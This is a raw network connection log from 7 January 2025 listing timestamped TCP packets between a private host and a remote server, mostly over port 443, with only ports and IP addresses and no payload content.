Jan 7, 2025 14:48:52.923105001 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.923136950 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.923146963 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.923177004 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.923193932 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.923229933 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.923654079 CET	49747	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.923669100 CET	443	49747	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.926676035 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.926714897 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.926892996 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.927052021 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.927066088 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.941800117 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.941836119 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.941907883 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.942136049 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.942146063 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.943451881 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.943481922 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.943542004 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.943739891 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.943757057 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.943804979 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.944005013 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.944020033 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.944163084 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.944185019 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.955648899 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.955883026 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.955898046 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.956940889 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.957005024 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.957295895 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.957355022 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:52.957415104 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:52.957422018 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.009259939 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.501379967 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.502120972 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.502186060 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.502316952 CET	49750	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.502341032 CET	443	49750	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.567378998 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.567842007 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.567869902 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.568909883 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.569005966 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.569320917 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.569384098 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.569565058 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.569572926 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.571907997 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.572166920 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.572181940 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.572551012 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.572742939 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.572850943 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.572918892 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.572985888 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.573000908 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.573102951 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.573352098 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.573625088 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.573689938 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.573708057 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.583250046 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.583437920 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.583451033 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.583772898 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.584055901 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.584105015 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.584139109 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.616292953 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.616293907 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.616302967 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.619324923 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.627331972 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.632272005 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.983640909 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.987255096 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.987319946 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.987339020 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.987663031 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.987708092 CET	443	49753	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.987766027 CET	49753	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.990377903 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.990408897 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:53.990488052 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.990748882 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:53.990758896 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.024374008 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.027483940 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.027565956 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.027584076 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.027633905 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.027883053 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.027910948 CET	443	49752	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.027959108 CET	49752	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.031339884 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.031375885 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.031466007 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.031694889 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.031713009 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.045409918 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.045445919 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.045514107 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.045533895 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.045784950 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.045841932 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.046191931 CET	49754	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.046204090 CET	443	49754	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.050668001 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.050710917 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.050796032 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.051064014 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.051078081 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.078229904 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.078268051 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.078349113 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.079421997 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.079446077 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.079508066 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.079699993 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.079713106 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.079886913 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.079905033 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.113286018 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.113343000 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.113437891 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.113687038 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.113704920 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488502026 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488523006 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488538980 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488688946 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.488729954 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488746881 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.488797903 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.493473053 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.493493080 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.493593931 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.493604898 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.493634939 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.495172024 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.495193005 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.495260000 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.495270014 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.495304108 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.496037006 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.496115923 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.496125937 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.497857094 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.497872114 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.497945070 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.497955084 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.498007059 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.499722004 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.499742985 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.499789000 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.499798059 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.499830008 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.553303957 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.581543922 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.581573009 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.581620932 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.581626892 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.581640005 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.581685066 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.581717968 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.581763029 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.583095074 CET	49751	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.583115101 CET	443	49751	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.645572901 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.645873070 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.645889044 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.646225929 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.646534920 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.646593094 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.646765947 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.668067932 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.668406010 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.668427944 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.668762922 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.669169903 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.669250965 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.669518948 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.676928043 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.677145004 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.677175045 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.678210020 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.678286076 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.678858042 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.678919077 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.679152966 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.679160118 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.687336922 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.710010052 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.710361004 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.710398912 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.711338997 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.711498976 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.711568117 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.711874008 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.711941957 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.712021112 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.712033987 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.714976072 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.715596914 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.715612888 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.717169046 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.717257023 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.717612028 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.717736959 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.717787027 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.728297949 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.740080118 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.740391970 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.740408897 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.741489887 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.741558075 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.742078066 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.742137909 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.742225885 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.742233992 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.759342909 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.760272026 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.760277033 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.760284901 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:54.792282104 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:54.808274984 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.058922052 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.058976889 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.059084892 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.059112072 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.059161901 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.059565067 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.059645891 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.059693098 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.060049057 CET	49756	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.060061932 CET	443	49756	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.123146057 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.123188972 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.123322010 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.123353958 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.124217033 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.124277115 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.124300957 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.124317884 CET	443	49757	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.124326944 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.124356985 CET	49757	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.164211035 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.164868116 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.164899111 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.165000916 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.165035009 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.165447950 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.165515900 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.166174889 CET	49759	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.166191101 CET	443	49759	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.169694901 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.169775963 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.169907093 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.169945955 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.170008898 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.170269012 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.170280933 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.170414925 CET	49758	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.170428991 CET	443	49758	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.173629999 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.173671007 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.173738003 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.173965931 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.173980951 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.181917906 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.181936979 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.182004929 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.182168961 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.182180882 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.184863091 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.188280106 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.188348055 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.188363075 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.188848019 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.188999891 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.189073086 CET	49760	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.189088106 CET	443	49760	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.194118977 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.194152117 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.194242001 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.194664001 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.194677114 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.262335062 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.265809059 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.265908957 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.265952110 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.266077995 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.266122103 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.266211033 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.266228914 CET	443	49755	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.266244888 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.266271114 CET	49755	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.431674004 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.431725025 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.431813955 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.432137012 CET	49765	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.432152987 CET	443	49765	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.613344908 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:48:55.801987886 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.802371979 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.802390099 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.802715063 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.803102970 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.803184032 CET	443	49762	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.803267956 CET	49762	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.804431915 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.804626942 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.804653883 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.804996967 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.806310892 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.806384087 CET	443	49761	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.806637049 CET	49761	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.820609093 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.820888996 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.820909977 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.822046041 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.822177887 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.822515965 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.822581053 CET	443	49764	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.822650909 CET	49764	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.827151060 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.827387094 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.827395916 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.828443050 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.828522921 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.829452991 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.829510927 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.829611063 CET	49763	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:55.829618931 CET	443	49763	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:55.847323895 CET	443	49762	104.248.23.102	192.168.2.16
